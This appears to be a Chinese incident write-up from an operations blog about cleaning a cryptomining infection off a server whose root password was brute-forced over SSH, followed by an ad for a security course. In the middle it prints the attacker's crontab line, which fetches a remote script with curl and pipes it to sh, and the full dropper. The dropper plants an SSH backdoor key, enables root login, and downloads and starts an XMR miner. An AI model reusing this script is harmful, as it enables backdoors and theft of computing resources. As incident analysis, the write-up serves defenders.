主页 > imtoken官方安卓版下载教程 > 服务器再次被植入挖矿程序,导致CPU资源耗尽
服务器再次被植入挖矿程序,导致CPU资源耗尽
矿业
这里稍微概括一下:所谓“挖矿”,本质上就是用计算机来解决一个复杂的数学问题。 这是一个用于赚取比特币的程序。 挖矿就是消耗计算资源来处理交易,保证网络安全,维护网络 同步大家信息的过程。 可以理解为比特币的数据中心,不同的是它是完全去中心化的设计,矿工在全球各个国家运营。 没有人可以控制网络。 这个过程被称为“采矿”,因为它类似于淘金。
任何人都可以在专用硬件上运行软件程序成为比特币矿工。 挖矿软件通过 P2P 网络监听交易广播并执行任务来处理和确认这些交易。 完成这些任务后,比特币矿工有机会获得一定数量的比特币作为赏金,但付出的代价是需要大量的计算资源。 挖矿软件根据特定的算法进行大量的计算,会占用大量的CPU,导致系统卡死,严重的直接瘫痪。
近年来,比特币的价格一直在飙升。 现在大家玩比特币挖矿玩多了,但是大部分都是用矿机或者显卡来完成计算。 事实上,最初的比特币挖矿是用电脑的CPU进行的。 ,虽然CPU的算力远远落后于显卡和矿机,但并不代表CPU不能用来挖矿。 用CPU挖矿的软件有很多,最著名的就是XMR,Monroe,XMR是一个比特币挖矿程序,可以运行在服务器上进行挖矿,占用大量的CPU资源。 下面的案例就和这个挖矿程序有关,请大家慢慢听我说。
第一时间接到一个客户的电话,说业务系统运行缓慢,完全无法使用。 要弄明白要领,只好“深入虎穴”,先登录服务器,查看整个系统的运行情况,再做进一步的判断。
top命令执行后,截图如下:
从图中可以看出系统的平均负载高得离谱,发现在1000以上。其中有很多名为sh的进程,占用了很多CPU资源,而这个sh进程就是仍然由 root 用户启动。 ,并且已经运行了很长时间。
既然找到了pid进程号,那么就可以通过进程号查看,通过以下命令可以查看进程对应的启动文件:
#ll /proc/pid -- 可以列出相关的文件和目录
让我们执行这个命令:
[root@oa228 ~]# ll /proc/35796/exe
lrwxrwxrwx. 1 root root 0 9月 25 10:06 /proc/35796/exe -> /usr/lib/.cache/sh
果然找到了35796进程对应的可执行文件。 对应的文件是/usr/lib/.cache/sh。 一看这条路,就觉得一定有问题。 莫名其妙,为什么在/usr/lib下创建了一个隐藏目录,这不符合常识。 既然是隐藏目录,那肯定有问题。 来到这个目录看一看,果然有重大发现:
打开其中一个可疑文件 pools.txt
可以清楚的看到这是一个运行的挖矿程序,里面显示了币种:monero7币种(xmr Monero),pool_address矿池地址,wallet_address钱包地址等等。 采用CryptoNight算法的代表性货币是Monero,即XMR,Monero。 这是门罗的老算法,适合CPU服务器挖矿和显卡矿机挖矿。 即使是低端的office i3处理器也有4Mb以上的L3缓存,可以用来做这个算法计算。
再看一个文件config.json
果然被挖到了,怎么解决etc挖矿显卡,先找到挖矿程序运行的目录,然后直接清空,比如下面的目录:#rm -rf /usr/lib/.cache
最后删除程序目录后,终止对应的进程 #kill -9 PID PID2 PID3
你以为这样就没事了,错了,清理后,果然,清除挖矿程序5分钟后,发现sh进程又启动了。 根据一个资深运维的经验,感觉应该把crontab写成定时任务。
那么,让我们开始检查系统的crontab文件的内容。 linux下有系统级crontab和用户级crontab。 用户级crontab定义完成后,会在/var/spool/cron目录下创建对应用户的计划任务脚本,系统级crontab可以直接在/etc/crontab文件中查看。 首先查看/var/spool/cron目录,查看系统中是否存在异常的用户定时任务脚本。
如下:
[root@localhost cron]# ll /var/spool/cron/
total 4
drwxr-xr-x 2 root root 6 Oct 18 19:01 crontabs
-rw------- 1 root root 80 Oct 18 19:04 root
[root@localhost cron]# cat /var/spool/cron/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
[root@localhost cron]# cat /var/spool/cron/crontabs/root*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
可以发现,/var/spool/cron/root和/var/spool/cron/crontabs/root两个文件中都有被写入的计划任务。两个计划任务是一样的,计划任务的设置策略是:
每天的18点到23点,0点到7点,这段时间内,每五分钟执行一个curl操作,这个curl操作会从r.chanstring.com这个网站上下载一个脚本,然后在本地服务器上执行。
这里有个很有意思的事情,此计划任务的执行时间刚好在非工作日期间(8点到23点,0点到7点),此骇客还是很有想法的,利用非工作日期间,借用客户的服务器偷偷挖矿,这个时间段隐蔽性很强,不容易发现服务器异常。
既然发现了这个下载脚本的网站,那就看看下载下来的脚本到底是什么,执行了什么操作,https://r.chanstring.com/api/report?pm=0988 此网站很明显是个api接口,下载下来的内容如下:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/var/tmp/minerd" ]; then
curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd
chmod +x /var/tmp/minerd
/var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x
fi
ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x
if [ ! -f "/etc/init.d/lady" ]; then
if [ ! -f "/etc/systemd/system/lady.service" ]; then
curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66
fi
fi
service lady start
systemctl start lady.service
/etc/init.d/lady start这是一个非常简单的shell脚本,基本的执行逻辑是:
1.将定时任务写入/var/spool/cron/root和/var/spool/cron/crontabs/root文件。
2. 然后查看/root/.ssh/KHK75NEOiq文件(这个应该是公钥文件)是否存在。 如果没有,将公钥写入服务器,修改/etc/ssh/sshd_config的配置。
3、查看挖矿程序/var/tmp/minerd是否存在,如果不存在,从网上下载一个,然后授权,最后启动挖矿程序。 同时还会检查挖矿进程是否存在,如果不存在则重启挖矿进程。 其中-o参数后面是矿池地址和端口号,-u参数后面是黑客自己的钱包地址,-p参数是密码,随便填就可以了。
至此,挖矿程序的运行机制基本清晰。 但是,客户的问题还没有解决!
那么黑客是如何将挖矿程序植入系统的呢? 这个问题需要调查。
然后,查看系统防火墙iptables,发现所有规则都打开了,说明没有使用防火墙,然后询问客户端机器的密码,发现很简单,很容易破解
最后在系统的/var/log/secure中找到了入侵的根源,日志如下:
Sep 22 04:17:56 pkserver unix_chkpwd[36592]: password check failed for user (root)
Sep 22 04:17:58 pkserver sshd[36590]: Failed password for root from 92.168.10.187 port 34714 ssh2
Sep 22 04:17:58 pkserver unix_chkpwd[36595]: password check failed for user (root)
Sep 22 04:18:00 pkserver sshd[36593]: Failed password for root from 92.168.10.187 port 34740 ssh2
Sep 22 04:18:01 pkserver unix_chkpwd[36598]: password check failed for user (root)
Sep 22 04:18:02 pkserver sshd[36596]: Failed password for root from 92.168.10.187 port 34766 ssh2
Sep 22 04:18:03 pkserver unix_chkpwd[36601]: password check failed for user (root)
Sep 22 04:18:05 pkserver sshd[36599]: Failed password for root from 92.168.10.187 port 34792 ssh2
Sep 22 04:18:06 pkserver unix_chkpwd[36604]: password check failed for user (root)
Sep 22 04:18:07 pkserver sshd[36602]: Failed password for root from 92.168.10.187 port 34820 ssh2
Sep 22 04:18:08 pkserver sshd[36605]: Accepted password for root from 92.168.10.187 port 34846 ssh2上述日志清楚地验证了客户端机器的密码很简单,通过密码字典破解了系统密码,然后将上述一系列文件和挖矿程序植入系统。
最后整理一下本次清除挖矿程序的步骤:
1.确定对应的进程,找出挖矿程序的目录位置
2.清除所有挖矿相关文件并终止进程
3.查找入侵原因
4、更新原账号系统下用户的密码强度,安装强大的保护软件,提高系统安全性。
事故源于麻痹,安全源于警惕etc挖矿显卡,
让我们用这句话结束这篇文章吧!
本文来自:
干读:
安全训练营第三期
最后早鸟优惠
你懂了吗?
国庆后开放
针对漏洞频发的服务器运维
懂运维+懂安全=高薪运维
有实操——有打卡——有督导
有扩展-有工具-有问答
扫码购买
↓